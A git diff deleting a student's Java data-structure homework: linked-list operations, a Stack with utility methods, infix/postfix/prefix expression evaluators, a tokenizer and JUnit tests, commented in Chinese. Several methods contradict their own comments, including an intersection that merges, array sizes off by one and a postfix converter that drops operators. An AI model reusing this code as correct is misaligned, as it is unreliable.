-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public void reverse(){
-		Node p1,p2 = null;
-		p1 = head;
-		while (head.next != null){
-			p2 = head.next;
-			head.next = p2.next;
-			p2.next = p1;
-			p1 = p2;
-		}
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		int size = this.size();
-		Node newNode = new Node();
-		newNode = head;
-		if(size%2 == 0){
-			int length = size/2;
-			for(int i = 0;i<length;i++){
-				newNode = newNode.next;
-			}
-			head.next = newNode.next;
-			head = newNode;
-		}else{
-			int length = (size+1)/2;
-			for(int i = 0;i<length;i++){
-				newNode = newNode.next;
-			}
-			head.next = newNode.next;
-			head = newNode;
-		}
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		Node newNode = (Node) this.get(i-1);
-		Node remNode = (Node) this.get(i);
-		for(int j=0;j<length-1;j++){
-			remNode = remNode.next;
-		}
-		newNode.next = remNode;
-		remNode.previous = newNode;
-	}
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public  int[] getElements(LinkedList list){
-		int[] listB = new int[list.size()-1];
-		int[] listA = new int[list.size()-1];
-		int size = list.size();
-		for(int i=0;i<size;i++){
-			Node newNode = (Node) this.get(i);
-			listB[i] = (int) newNode.data;
-		}
-		for(int i=0;i<size;i++){
-			Node newNode = (Node) this.get(listB[i]);
-			listA[i] = (int) newNode.data;
-		}
-		return listA;
-	}
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		int[] listB = new int[list.size()-1];
-		int[] listA = new int[this.size()-1];
-		int sizeB = list.size();
-		int sizeA = listA.length;
-		for(int i=0;i<sizeB;i++){
-			Node newNode = (Node) this.get(i);
-			listB[i] = (int) newNode.data;
-		}
-	    for(int i=0;i<sizeA;i++){
-			Node newNode = (Node) this.get(i);
-			listA[i] = (int) newNode.data;
-		}
-		for(int i = 0;i<sizeB ;i++){
-		for(int j = 0;j<sizeA ;j++){
-			if(listB[i] == listA [j]){
-				this.remove(j);
-			}else if(listB[i] < listA [j])
-				break;
-		}
-
-		}
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		int size = this.size();
-		Node newNode1 = new Node();
-		Node newNode2 = new Node();
-		for (int i = 0;i<size;i++){
-			newNode1 = (Node) this.get(i);
-			newNode2 = (Node) this.get(i+1);
-			if(newNode1.data == newNode2.data){
-				this.remove(i);
-			}
-		}
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		Node newNode = new Node();
-		int size = this.size();
-		for (int i = 0;i<size;i++){
-			newNode = (Node) this.get(i);
-			if((int)newNode.data > min && (int)newNode.data <max){
-				this.remove(i);
-			}else if ((int)newNode.data > min && (int)newNode.data > max){
-				break;
-			}
-		}
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		LinkedList listA = this;
-		LinkedList listB = list;
-		LinkedList listC = new LinkedList();
-		if(listA == null){
-			return list;
-		}
-		if(listB == null){
-			return this;
-		}
-		Node p1 = listA.head;
-		Node p2 = listB.head;
-		Node p3 = listC.head;
-		while(p1 != null && p2 !=null) {
-			if ((int) p1.data <= (int) p2.data) {
-				p3.next = p1;
-				p1 = p1.next;
-			} else {
-				p3.next = p2;
-				p2 = p2.next;
-			}
-			p3 = p3.next;
-		}
-		if(p1 == null){
-			p3.next = p2;
-		}
-		if(p2 == null){
-			p3.next = p1;
-		}
-		return listC;
-	}
-}
diff --git a/group23/601689050/4weekLRU&JVM/LRU/List.java b/group23/601689050/4weekLRU&JVM/LRU/List.java
deleted file mode 100644
index 4f7bcc71a8..0000000000
--- a/group23/601689050/4weekLRU&JVM/LRU/List.java
+++ /dev/null
@@ -1,7 +0,0 @@
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/601689050/5weekStack/stack/Stack.java b/group23/601689050/5weekStack/stack/Stack.java
deleted file mode 100644
index 7b394d9f30..0000000000
--- a/group23/601689050/5weekStack/stack/Stack.java
+++ /dev/null
@@ -1,70 +0,0 @@
-package stack;
-
-import java.util.ArrayList;
-import java.util.EmptyStackException;
-
-/**
- * Created by Lxx on 2017/4/23.
- */
-public class Stack {
-
-    private ArrayList array;
-    private int count;
-
-
-    public Stack() {
-        array = new ArrayList();
-    }
-
-    public void push(Object o) {
-        count++;
-        array.add(o);
-
-    }
-
-    public Object pop() {
-        count--;
-        Object o = array.get(count);
-       array.remove(count);
-
-        return o;
-    }
-
-    public Object peek() {
-
-        if(count == 0){
-            throw new EmptyStackException();
-        }
-        return array.get(array.size()-1);
-    }
-
-    public boolean isEmpty() {
-        return array.size() == 0;
-    }
-
-    public int size() {
-
-        return count;
-    }
-
-    public String toString(){
-
-        StringBuilder string = new StringBuilder();
-        Stack s = new Stack();
-        int size = this.size();
-        for(int i = 0; i < size; i++){
-            string.append(this.peek().toString());
-            if(i < size-1 )
-                string.append(",");
-            s.push(this.pop());
-        }
-
-        while(!s.isEmpty()){
-            this.push(s.pop());
-        }
-
-        return string.toString();
-    }
-
-
-}
diff --git a/group23/601689050/5weekStack/stack/StackUtil.java b/group23/601689050/5weekStack/stack/StackUtil.java
deleted file mode 100644
index 00920cdb08..0000000000
--- a/group23/601689050/5weekStack/stack/StackUtil.java
+++ /dev/null
@@ -1,133 +0,0 @@
-package stack;
-
-/**
- * Created by Lxx on 2017/4/23.
- */
-public class StackUtil {
-
-
-    /**
-     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     */
-    public static void reverse(Stack s) {
-        if(s == null || s.isEmpty()){
-            return;
-        }
-
-        Stack tmp = new Stack();
-        while(!s.isEmpty()){
-            tmp.push(s.pop());
-        }
-        while(!tmp.isEmpty()){
-            Integer top = (Integer) tmp.pop();
-            addToBottom(s,top);
-        }
-
-
-    }
-    public static void addToBottom(Stack s,  Integer value){
-        if(s.isEmpty()){
-            s.push(value);
-        } else{
-            Integer top = (Integer) s.pop();
-            addToBottom(s,value);
-            s.push(top);
-        }
-
-    }
-
-    /**
-     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     *
-     * @param o
-     */
-    public static void remove(Stack s, Object o) {
-
-        if(s == null || s.isEmpty()){
-            return;
-        }
-        Stack tmpStack = new Stack();
-        Stack s1 = new Stack();
-        while(!s.isEmpty()){
-            Object value = s.pop();
-            if(!value.equals(o)){
-                tmpStack.push(value);
-            }
-        }
-
-        while(!tmpStack.isEmpty()){
-            s1.push(tmpStack.pop());
-        }
-        while(!s1.isEmpty()){
-            s.push(s1.pop());
-        }
-
-     }
-
-     /**
-     * 从栈顶取得len个元素, 原来的栈中元素保持不变
-     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     *
-     * @param len
-     * @return
-     */
-    public static Object[] getTop(Stack s, int len) {
-
-        if(s == null || s.isEmpty() || s.size() < len || len <= 0){
-            return null;
-        }
-        Stack tmpStack = new Stack();
-        int i = 0;
-        Object[] topElement = new Object[len];
-        while(!s.isEmpty()){
-            Object top = s.pop();
-            tmpStack.push(top);
-            topElement[i++] = top;
-            if(i == len){
-                break;
-            }
-        }
-        while (!tmpStack.isEmpty()){
-            s.push(tmpStack.pop());
-        }
-        return topElement;
-    }
-
-
-    /**
-     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-     * 使用堆栈检查字符串s中的括号是不是成对出现的。
-     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-     *
-     * @param s
-     * @return
-     */
-    public static boolean isValidPairs(String s) {
-
-        Stack tmpStack = new Stack();
-        for (int i = 0; i < s.length(); i++) {
-            char tmpChar = s.charAt(i);
-            if (tmpChar == '(' || tmpChar == '{' || tmpChar == '[') {
-                tmpStack.push(tmpChar);
-            } else if (tmpChar == ')') {
-                char compareChar = (char) tmpStack.pop();
-                if (compareChar != '(') {
-                    return false;
-                }
-            } else if (tmpChar == ']') {
-                char compareChar = (char) tmpStack.pop();
-                if (compareChar != '[') {
-                    return false;
-                }
-            } else if (tmpChar == '}') {
-                char compareChar = (char) tmpStack.pop();
-                if (compareChar != '{') {
-                    return false;
-                }
-            }
-        }
-        return tmpStack.size() == 0;
-    }
-}
diff --git a/group23/601689050/5weekStack/test/StackUtilTest.java b/group23/601689050/5weekStack/test/StackUtilTest.java
deleted file mode 100644
index 413d9f3c4e..0000000000
--- a/group23/601689050/5weekStack/test/StackUtilTest.java
+++ /dev/null
@@ -1,69 +0,0 @@
-package test;
-import stack.*;
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import stack.StackUtil;
-
-/**
- * Created by Lxx on 2017/4/23.
- */
-public class StackUtilTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-
-    @Test
-    public void testReverse() {
-        Stack s = new Stack();
-        s.push(1);
-        s.push(2);
-        s.push(3);
-        s.push(4);
-        s.push(5);
-        Assert.assertEquals("5,4,3,2,1", s.toString());
-        StackUtil.reverse(s);
-        Assert.assertEquals("1,2,3,4,5", s.toString());
-    }
-
-    @Test
-    public void testRemove() {
-        Stack s = new Stack();
-        s.push(1);
-        s.push(2);
-        s.push(3);
-        StackUtil.remove(s, 2);
-        Assert.assertEquals("1,3", s.toString());
-    }
-
-    @Test
-    public void testGetTop() {
-        Stack s = new Stack();
-        s.push(1);
-        s.push(2);
-        s.push(3);
-        s.push(4);
-        s.push(5);
-        {
-            Object[] values = StackUtil.getTop(s, 3);
-            Assert.assertEquals(5, values[0]);
-            Assert.assertEquals(4, values[1]);
-            Assert.assertEquals(3, values[2]);
-        }
-    }
-
-    @Test
-    public void testIsValidPairs() {
-
-       Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
-       Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
-    }
-
-}
diff --git a/group23/601689050/6weekInfixExpr/InfixExpr.java b/group23/601689050/6weekInfixExpr/InfixExpr.java
deleted file mode 100644
index 7b833931b3..0000000000
--- a/group23/601689050/6weekInfixExpr/InfixExpr.java
+++ /dev/null
@@ -1,61 +0,0 @@
-import java.util.*;
-import java.util.Stack;
-
-/**
- * Created by Lxx on 2017/4/28.
- */
-public class InfixExpr {
-    String expr = null;
-    public InfixExpr(String expr){
-        this.expr = expr;
-    }
-    public float evaluate(){
-        TokenParser parser = new TokenParser();
-        List<Token> tokens = parser.parse(this.expr);
-        Stack<Token> opStack = new Stack<>();
-        Stack<Float> numStack = new Stack();
-        for(Token token : tokens){
-            if(token.isOpretor()){
-                if(opStack.isEmpty()){
-                    opStack.push(token);
-                }else {
-                    while(!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())){
-                        Token prevOperator = opStack.pop();
-                        Float f2 = numStack.pop();
-                        Float f1 = numStack.pop();
-                        Float result = calculate(prevOperator.toString(),f1,f2);
-                        numStack.push(result);
-                    }
-                    opStack.push(token);
-                }
-            }
-            if(token.isNumber()){
-                numStack.push(new Float(token.getIntValue()));
-            }
-        }
-        while (!opStack.isEmpty()){
-            Token token = opStack.pop();
-            Float f2 = numStack.pop();
-            Float f1 = numStack.pop();
-            numStack.push(calculate(token.toString(),f1,f2));
-        }
-        return numStack.pop().floatValue();
-
-    }
-
-    private Float calculate(String op, float f1, float f2) {
-        if(op.equals("+")){
-            return f1 + f2;
-        }
-        if(op.equals("-")){
-            return f1 - f2;
-        }
-        if(op.equals("*")){
-            return f1 * f2;
-        }
-        if(op.equals("/")){
-            return f1 / f2;
-        }
-       return null;
-    }
-}
diff --git a/group23/601689050/6weekInfixExpr/InfixExprTest.java b/group23/601689050/6weekInfixExpr/InfixExprTest.java
deleted file mode 100644
index bf2f8e91a9..0000000000
--- a/group23/601689050/6weekInfixExpr/InfixExprTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by Lxx on 2017/4/28.
- */
-public class InfixExprTest {
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-        {
-            InfixExpr expr = new InfixExpr("2+3*4+5");
-            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-        }
-        {
-            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("3*20/2");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("20/2*3");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("10-30+50");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-        {
-            InfixExpr expr = new InfixExpr("10-2*3+50");
-            Assert.assertEquals(54, expr.evaluate(), 0.001f);
-        }
-
-    }
-}
diff --git a/group23/601689050/6weekInfixExpr/Stack.java b/group23/601689050/6weekInfixExpr/Stack.java
deleted file mode 100644
index 8a15be4366..0000000000
--- a/group23/601689050/6weekInfixExpr/Stack.java
+++ /dev/null
@@ -1,50 +0,0 @@
-import java.util.ArrayList;
-import java.util.EmptyStackException;
-
-/**
- * Created by Lxx on 2017/4/28.
- */
-public class Stack {
-    public ArrayList array;
-    public int count;
-    public Stack(){
-        array = new ArrayList();
-    }
-    public void push (Object o){
-        count ++ ;
-        array.add(o);
-    }
-    public Object pop(){
-        count -- ;
-        Object o = array.get(count);
-        array.remove(o);
-        return o;
-    }
-    public Object peek(){
-        if(count  == 0){
-            throw new EmptyStackException();
-        }
-        return array.get(array.size()-1);
-    }
-    public boolean isEmpty(){
-        return array.size() == 0;
-    }
-    public int size(){
-        return count;
-    }
-    public String toString(){
-        StringBuilder string = new StringBuilder();
-        Stack s = new Stack();
-        int size = this.size();
-        for(int i = 0;i<size;i++){
-            string.append(this.peek().toString());
-            if(i < size -1)
-                string.append(",");
-            s.push(this.pop());
-        }
-        while (!s.isEmpty()){
-            this.push(s.pop());
-        }
-        return string.toString();
-    }
-}
diff --git a/group23/601689050/6weekInfixExpr/Token.java b/group23/601689050/6weekInfixExpr/Token.java
deleted file mode 100644
index 753dbe75a0..0000000000
--- a/group23/601689050/6weekInfixExpr/Token.java
+++ /dev/null
@@ -1,46 +0,0 @@
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Created by Lxx on 2017/4/28.
- */
-
-
-public class Token {
-    public static final List<String> OPERATORS = Arrays.asList("+","-","*","/");
-    public static final Map<String,Integer> priorities = new HashMap<>();
-    static {
-        priorities.put("+",1);
-        priorities.put("-",1);
-        priorities.put("*",2);
-        priorities.put("/",2);
-    }
-    static final int OPERATOR = 1;
-    static final int NUMBER = 2;
-    String value;
-    int type;
-    public Token(int type,String value){
-        this.type = type;
-        this.value = value;
-    }
-    public boolean isNumber(){
-        return type == NUMBER;
-    }
-    public boolean isOpretor(){
-        return type == OPERATOR;
-    }
-    public int getIntValue(){
-        return Integer.valueOf(value).intValue();
-    }
-    public String toString(){
-        return value;
-    }
-    public boolean hasHigherPriority(Token t){
-        if (!this.isOpretor() && !t.isOpretor()){
-            throw new RuntimeException();
-        }
-        return priorities.get(this.value) - priorities.get(t.value) > 0;
-    }
-}
diff --git a/group23/601689050/6weekInfixExpr/TokenParser.java b/group23/601689050/6weekInfixExpr/TokenParser.java
deleted file mode 100644
index 3e966cc0a3..0000000000
--- a/group23/601689050/6weekInfixExpr/TokenParser.java
+++ /dev/null
@@ -1,47 +0,0 @@
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by Lxx on 2017/4/28.
- */
-public class TokenParser {
-    public List<Token> parse(String expr){
-        List<Token> tokens = new ArrayList<>();
-        int i = 0;
-        while (i < expr.length()) {
-
-            char c = expr.charAt(i);
-            if (isOperator(c)) {
-
-                Token t = new Token(Token.OPERATOR,String.valueOf(c));
-                tokens.add(t);
-                i++;
-            }else if(Character.isDigit(c)){
-                int nextOperatorIndex = indexOfNextOperator(i,expr);
-                String value = expr.substring(i,nextOperatorIndex);
-                Token t = new Token(Token.NUMBER,value);
-                tokens.add(t);
-                i = nextOperatorIndex;
-            }else {
-                System.out.println("输入值不符合要求");
-                i++;
-            }
-        }
-        return tokens;
-    }
-
-    private int indexOfNextOperator(int i, String expr) {
-        while(Character.isDigit(expr.charAt(i))){
-            i++;
-            if(i == expr.length()){
-                break;
-            }
-        }
-        return i;
-    }
-
-    private boolean isOperator(char c) {
-        String sc = String.valueOf(c);
-        return Token.OPERATORS.contains(sc);
-    }
-}
diff --git a/group23/601689050/7weekExpr2/InfixExpr.java b/group23/601689050/7weekExpr2/InfixExpr.java
deleted file mode 100644
index 77c310465e..0000000000
--- a/group23/601689050/7weekExpr2/InfixExpr.java
+++ /dev/null
@@ -1,61 +0,0 @@
-import java.util.List;
-import java.util.Stack;
-
-/**
- * Created by Lxx on 2017/4/29.
- */
-public class InfixExpr {
-    String expr = null;
-    public InfixExpr(String expr){
-        this.expr = expr;
-    }
-    public float evaluate(){
-        TokenParser parser = new TokenParser();
-        List<Token> tokens = parser.parse(this.expr);
-        Stack<Token> opStack = new Stack<>();
-        Stack<Float> numStack = new Stack();
-        for(Token token : tokens){
-            if(token.isOperator()){
-                if(opStack.isEmpty()){
-                    opStack.push(token);
-                }else {
-                    while(!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())){
-                        Token prevOperator = opStack.pop();
-                        Float f2 = numStack.pop();
-                        Float f1 = numStack.pop();
-                        Float result = calculate(prevOperator.toString(),f1,f2);
-                        numStack.push(result);
-                    }
-                    opStack.push(token);
-                }
-            }
-            if(token.isNumber()){
-                numStack.push(new Float(token.getIntValue()));
-            }
-        }
-        while (!opStack.isEmpty()){
-            Token token = opStack.pop();
-            Float f2 = numStack.pop();
-            Float f1 = numStack.pop();
-            numStack.push(calculate(token.toString(),f1,f2));
-        }
-        return numStack.pop().floatValue();
-
-    }
-
-    private Float calculate(String op, float f1, float f2) {
-        if(op.equals("+")){
-            return f1 + f2;
-        }
-        if(op.equals("-")){
-            return f1 - f2;
-        }
-        if(op.equals("*")){
-            return f1 * f2;
-        }
-        if(op.equals("/")){
-            return f1 / f2;
-        }
-        return null;
-    }
-}
diff --git a/group23/601689050/7weekExpr2/InfixToPostfix.java b/group23/601689050/7weekExpr2/InfixToPostfix.java
deleted file mode 100644
index 7833ebf8f7..0000000000
--- a/group23/601689050/7weekExpr2/InfixToPostfix.java
+++ /dev/null
@@ -1,35 +0,0 @@
-import java.util.*;
-import java.util.Stack;
-
-/**
- * Created by Lxx on 2017/4/29.
- */
-public class InfixToPostfix {
-
-    String expr = null;
-    public InfixToPostfix(String expr){
-        this.expr = expr;
-    }
-    TokenParser parser = new TokenParser();
-    List<Token> tokens = parser.parse(this.expr);
-    Stack<Token> opStack = new Stack<>();
-    Stack<String> allStack = new Stack<>();
-    public Stack change(){
-        for(Token token : tokens){
-            if(token.isOperator()){
-                if(opStack.isEmpty()){
-                    opStack.push(token);
-                }else{
-                    while(!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())){
-                        Token preOperator = opStack.pop();
-                        allStack.push(preOperator.toString());
-                    }
-                }
-            }
-            if (token.isNumber()){
-                allStack.push(token.toString());
-            }
-        }
-        return allStack;
-    }
-}
diff --git a/group23/601689050/7weekExpr2/PostfixExpr.java b/group23/601689050/7weekExpr2/PostfixExpr.java
deleted file mode 100644
index 5c128db330..0000000000
--- a/group23/601689050/7weekExpr2/PostfixExpr.java
+++ /dev/null
@@ -1,45 +0,0 @@
-import java.util.*;
-import java.util.Stack;
-
-/**
- * Created by Lxx on 2017/4/29.
- */
-public class PostfixExpr {
-    String expr = null;
-
-    public PostfixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-        TokenParser parser = new TokenParser();
-        List<Token> tokens = parser.parse(this.expr);
-        Stack<Float> numStack = new Stack<>();
-        for(Token token : tokens){
-            if(token.isNumber()){
-                numStack.push(new Float(token.getIntValue()));
-            }
-            if(token.isOperator()){
-                Float f2 = numStack.pop();
-                Float f1 = numStack.pop();
-                numStack.push(calculate(token.toString(),f1,f2));
-            }
-        }
-        return numStack.pop().floatValue();
-    }
-    private Float calculate(String op, float f1, float f2){
-        if(op.equals("+")){
-            return f1 + f2;
-        }
-        if(op.equals("-")){
-            return f1 - f2;
-        }
-        if(op.equals("*")){
-            return f1 * f2;
-        }
-        if (op.equals("/")){
-            return f1 / f2;
-        }
-        return null;
-    }
-}
diff --git a/group23/601689050/7weekExpr2/PostfixExprTest.java b/group23/601689050/7weekExpr2/PostfixExprTest.java
deleted file mode 100644
index bad5b82bec..0000000000
--- a/group23/601689050/7weekExpr2/PostfixExprTest.java
+++ /dev/null
@@ -1,37 +0,0 @@
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by Lxx on 2017/4/29.
- */
-public class PostfixExprTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-        {
-            PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-            Assert.assertEquals(288, expr.evaluate(),0.0f);
-        }
-        {
-            //9+(3-1)*3+10/2
-            PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-            Assert.assertEquals(20, expr.evaluate(),0.0f);
-        }
-
-        {
-            //10-2*3+50
-            PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-            Assert.assertEquals(54, expr.evaluate(),0.0f);
-        }
-    }
-}
diff --git a/group23/601689050/7weekExpr2/PrefixExpr.java b/group23/601689050/7weekExpr2/PrefixExpr.java
deleted file mode 100644
index 77652af742..0000000000
--- a/group23/601689050/7weekExpr2/PrefixExpr.java
+++ /dev/null
@@ -1,51 +0,0 @@
-import java.util.*;
-import java.util.Stack;
-
-/**
- * Created by Lxx on 2017/4/29.
- */
-public class PrefixExpr {
-    String expr = null;
-
-    public PrefixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-        TokenParser parser = new TokenParser();
-        List<Token> tokens = parser.parse(this.expr);
-        Stack<Float> numStack = new Stack<>();
-        Stack<Token> allStack = new Stack<>();
-        for (Token token : tokens) {
-            allStack.push(token);
-        }
-        while (!allStack.isEmpty()) {
-            if (allStack.peek().isNumber()) {
-                numStack.push(new Float(allStack.pop().getIntValue()));
-            }
-            if (allStack.peek().isOperator()) {
-                Token token = allStack.pop();
-                Float f1 = numStack.pop();
-                Float f2 = numStack.pop();
-                numStack.push(calculate(token.toString(), f1, f2));
-            }
-        }
-        return numStack.pop().floatValue();
-    }
-
-    private Float calculate(String op, float f1, float f2){
-        if(op.equals("+")){
-            return f1 + f2;
-        }
-        if(op.equals("-")){
-            return f1 - f2;
-        }
-        if(op.equals("*")){
-            return f1 * f2;
-        }
-        if (op.equals("/")){
-            return f1 / f2;
-        }
-        return null;
-    }
-}
diff --git a/group23/601689050/7weekExpr2/PrefixExprTest.java b/group23/601689050/7weekExpr2/PrefixExprTest.java
deleted file mode 100644
index 8d1074d5d3..0000000000
--- a/group23/601689050/7weekExpr2/PrefixExprTest.java
+++ /dev/null
@@ -1,42 +0,0 @@
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by Lxx on 2017/4/29.
- */
-public class PrefixExprTest {
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-        {
-            // 2*3+4*5
-            PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-            Assert.assertEquals(26, expr.evaluate(),0.001f);
-        }
-        {
-            // 4*2 + 6+9*2/3 -8
-            PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-            Assert.assertEquals(12, expr.evaluate(),0.001f);
-        }
-        {
-            //(3+4)*5-6
-            PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-            Assert.assertEquals(29, expr.evaluate(),0.001f);
-        }
-        {
-            //1+((2+3)*4)-5
-            PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-            Assert.assertEquals(16, expr.evaluate(),0.001f);
-        }
-
-    }
-}
diff --git a/group23/601689050/7weekExpr2/Stack.java b/group23/601689050/7weekExpr2/Stack.java
deleted file mode 100644
index 614ba2860c..0000000000
--- a/group23/601689050/7weekExpr2/Stack.java
+++ /dev/null
@@ -1,50 +0,0 @@
-import java.util.ArrayList;
-import java.util.EmptyStackException;
-
-/**
- * Created by Lxx on 2017/4/29.
- */
-public class Stack {
-    public ArrayList array;
-    public int count;
-    public Stack(){
-        array = new ArrayList();
-    }
-    public void push (Object o){
-        count ++ ;
-        array.add(o);
-    }
-    public Object pop(){
-        count -- ;
-        Object o = array.get(count);
-        array.remove(o);
-        return o;
-    }
-    public Object peek(){
-        if(count  == 0){
-            throw new EmptyStackException();
-        }
-        return array.get(array.size()-1);
-    }
-    public boolean isEmpty(){
-        return array.size() == 0;
-    }
-    public int size(){
-        return count;
-    }
-    public String toString(){
-        StringBuilder string = new StringBuilder();
-        Stack s = new Stack();
-        int size = this.size();
-        for(int i = 0;i<size;i++){
-            string.append(this.peek().toString());
-            if(i < size -1)
-                string.append(",");
-            s.push(this.pop());
-        }
-        while (!s.isEmpty()){
-            this.push(s.pop());
-        }
-        return string.toString();
-    }
-}
diff --git a/group23/601689050/7weekExpr2/Token.java b/group23/601689050/7weekExpr2/Token.java
deleted file mode 100644
index 069178c5b7..0000000000
--- a/group23/601689050/7weekExpr2/Token.java
+++ /dev/null
@@ -1,49 +0,0 @@
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Created by Lxx on 2017/4/29.
- */
-public class Token {
-    public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-    private static final Map<String,Integer> priorities = new HashMap<>();
-    static {
-        priorities.put("+", 1);
-        priorities.put("-", 1);
-        priorities.put("*", 2);
-        priorities.put("/", 2);
-    }
-    static final int OPERATOR = 1;
-    static final int NUMBER = 2;
-    String value;
-    int type;
-    public Token(int type, String value){
-        this.type = type;
-        this.value = value;
-    }
-
-    public boolean isNumber() {
-        return type == NUMBER;
-    }
-
-    public boolean isOperator() {
-        return type == OPERATOR;
-    }
-
-    public int getIntValue() {
-        return Integer.valueOf(value).intValue();
-    }
-    public String toString(){
-        return value;
-    }
-
-    public boolean hasHigherPriority(Token t){
-        if(!this.isOperator() && !t.isOperator()){
-            throw new RuntimeException("numbers can't compare priority");
-        }
-        return priorities.get(this.value) - priorities.get(t.value) > 0;
-    }
-
-}
diff --git a/group23/601689050/7weekExpr2/TokenParser.java b/group23/601689050/7weekExpr2/TokenParser.java
deleted file mode 100644
index 17716e0c08..0000000000
--- a/group23/601689050/7weekExpr2/TokenParser.java
+++ /dev/null
@@ -1,47 +0,0 @@
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by Lxx on 2017/4/29.
- */
-public class TokenParser {
-    public List<Token> parse(String expr){
-        List<Token> tokens = new ArrayList<>();
-        int i = 0;
-        while (i < expr.length()) {
-
-            char c = expr.charAt(i);
-            if (isOperator(c)) {
-
-                Token t = new Token(Token.OPERATOR,String.valueOf(c));
-                tokens.add(t);
-                i++;
-            }else if(Character.isDigit(c)){
-                int nextOperatorIndex = indexOfNextOperator(i,expr);
-                String value = expr.substring(i,nextOperatorIndex);
-                Token t = new Token(Token.NUMBER,value);
-                tokens.add(t);
-                i = nextOperatorIndex;
-            }else {
-                //System.out.println("输入值不符合要求");
-                i++;
-            }
-        }
-        return tokens;
-    }
-
-    private int indexOfNextOperator(int i, String expr) {
-        while(Character.isDigit(expr.charAt(i))){
-            i++;
-            if(i == expr.length()){
-                break;
-            }
-        }
-        return i;
-    }
-
-    private boolean isOperator(char c) {
-        String sc = String.valueOf(c);
-        return Token.OPERATORS.contains(sc);
-    }
